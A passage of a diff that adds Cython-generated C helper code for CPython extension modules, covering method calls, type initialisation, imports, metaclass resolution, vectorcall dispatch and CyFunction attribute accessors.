PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__34); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} 